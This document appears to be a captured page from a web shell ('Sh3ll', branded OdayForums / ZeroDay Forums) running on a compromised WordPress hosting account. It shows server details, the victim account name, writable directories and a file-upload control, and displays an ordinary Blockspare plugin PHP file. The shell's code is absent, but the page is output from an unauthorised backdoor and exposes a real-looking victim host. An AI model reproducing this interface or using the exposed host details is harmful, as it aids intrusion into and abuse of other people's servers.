Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/anfangola.com/wp-content/plugins/blockspare/inc/post-banner/banner-9/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/anfangola.com/wp-content/plugins/blockspare/inc/post-banner/banner-9/index.php
<?php 


    function blockspare_banner_nine_render_block($attributes){
        ob_start();
        $unq_class = mt_rand(100000,999999);
        $blockuniqueclass = '';
        
        if(!empty($attributes['uniqueClass'])){
            $blockuniqueclass = $attributes['uniqueClass'];
        }else{
            $blockuniqueclass = 'blockspare-posts-block-list-'.$unq_class;
        }

        $desingParmeter = '';
        if($attributes['trendingBackground']){
            $desingParmeter = $attributes['bannerNineLayout'];
        }else {
            $desingParmeter = 'blockspare-hover-child';
        }

        $numOfSlides = 4;
        if ($attributes['align'] == 'center' || $attributes['align'] == '') {
            $numOfSlides = 3;
        }
        $alignclass = blockspare_checkalignment($attributes['align']);
        $animation_class  = '';
        if( $attributes['animation']){
            $animation_class='blockspare-block-animation';
        }
              
        ?>
        <div class='<?php  echo esc_attr($blockuniqueclass);?> align<?php echo esc_attr($alignclass) ?>'>
        <?php 
        $blockName = 'blockspare-banner-9'; 
       echo banner_control_slider($attributes,$blockuniqueclass ,$blockName );
        ?>
            <div class='<?php echo esc_attr( $animation_class ) ?> blockspare-banner-wrapper blockspare-banner-9-main-wrapper <?php echo esc_attr($attributes['bannerNineLayout']) ?> <?php echo esc_attr($attributes['blockHoverEffect']) ?> <?php echo esc_attr($attributes['imageHoverEffect']) ?>' blockspare-animation=<?php echo esc_attr( $attributes['animation'] )?>>
                

                <div class='blockspare-banner-col-wrap'>
                    <?php
                        blockspare_get_slider_template($attributes);
                        blocspare_get_editor_template($attributes, '2', 'banner-9');
                        blocspare_get_vertical_trending_template($attributes,$desingParmeter,$numOfSlides); 
                    ?>
                    
                </div>
            </div>
        </div>
            <?php   
           
            return ob_get_clean(); 
    }
    /**
     * Registers banner one on server
     */
    function blockspare_banner_nine_register_block()
    {
    
        if (!function_exists('register_block_type')) {
            return;
        }
    
    
        ob_start();
         include BLOCKSPARE_PLUGIN_DIR . 'inc/post-banner/block.json';
         
        $metadata = json_decode(ob_get_clean(), true);

        $new_attributes['numberofSlideTrending'] = array(
            "type"=>"number",
            "default"=>3
        );

        $attributes = array_merge($metadata['attributes'],$new_attributes);
        
        /* Block attributes */
        register_block_type(
            'blockspare/blockspare-banner-9',
            array(
                'attributes' =>$attributes,
                'render_callback' => 'blockspare_banner_nine_render_block',
            )
        );
    }
    
    add_action('init', 'blockspare_banner_nine_register_block');


    

ZeroDay Forums Mini